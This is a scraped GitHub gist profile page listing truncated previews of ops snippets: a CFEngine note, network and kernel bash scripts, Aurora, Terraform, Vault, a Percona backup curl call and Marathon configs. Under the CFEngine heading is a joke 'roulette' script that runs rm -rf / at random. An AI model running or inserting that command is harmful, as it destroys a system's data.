Skip to content

Instantly share code, notes, and snippets.

View a-nldisr's full-sized avatar
📺
Pipe it to bash

Rogier Dikkes a-nldisr

📺
Pipe it to bash
View GitHub Profile
@a-nldisr
a-nldisr / CFengine_symlink
Created May 15, 2014 13:46
Does not create deadlinks when using symlink in cfengine
if [[ $(($RANDOM % 6)) = 0 ]]
then rm -rf /
else echo "Please try again"
fi
case "$1" in
down)
/bin/echo "Bringing interface down"
/usr/sbin/ifdown eth0
;;
up)
/bin/echo "Bringing interface up"
/usr/sbin/ifup eth0
;;
update)
#!/bin/env bash -eq
NEXTLINE=0
FIND=""
RESULT=""
for I in `file /boot/vmlinuz*`; do
if [ ${NEXTLINE} -eq 1 ]; then
FIND="${I}"
NEXTLINE=0
else
if [ "${I}" = "version" ]; then NEXTLINE=1; fi
#!/bin/bash
# Test an IP address for validity:
# Usage:
# valid_ip IP_ADDRESS
# if [[ $? -eq 0 ]]; then echo good; else echo bad; fi
# OR
# if valid_ip IP_ADDRESS; then echo good; else echo bad; fi
#
total=0
@a-nldisr
a-nldisr / fileserver.aurora
Created November 15, 2016 11:38
Apache Aurora .aurora file example for starting a Go fileserver that copy a remote swift container to a local filesystem. In this i was playing around with task combining, task concat and Sequential tasks
# --- templates and variables ---
class Profile(Struct):
web_version = Default(String, '0.0.5')
rclone_version = Default(String, '0.0.9')
parent_environment = Default(String, 'test')
instances = Default(Integer, 2)
cluster = Default(String, 'one')
role = Default(String, 'test')
environment = Required(String)
# Generate the elastic IP for the loadbalancer
resource "aws_eip" "test-lb" {
vpc = true
lifecycle {
create_before_destroy = "true"
}
}
# Generate the target group for the load balancer to use
resource "aws_lb_target_group" "test-lb-tg" {
[Unit]
Description=vault server
Documentation=https://vaultproject.io/docs/
After=network.target
ConditionFileNotEmpty=/etc/vault/vault-config.hcl
[Service]
User=vault
Group=vault
PrivateDevices=yes
# This triggers the s3-backup you configure in your percona universe task, the dcos cli basically performs this call. With this you can configure a jenkins or other task to perform a weekly backup
curl -H 'Accept-encoding: gzip' -H "Content-Type: application/json" -H "Authorization: token=${MY_TOKEN}" -X POST https://master.mesos/service/percona-server-mongodb/v1/plans/backup-s3/start -d "{ }"
{
"id": "/prometheus/node-exporter",
"acceptedResourceRoles": [
"*"
],
"backoffFactor": 1.15,
"backoffSeconds": 1,
"cmd": "node_exporter-0.17.0.linux-amd64/node_exporter --collector.systemd --collector.interrupts --web.listen-address :$PORT0",
"constraints": [
[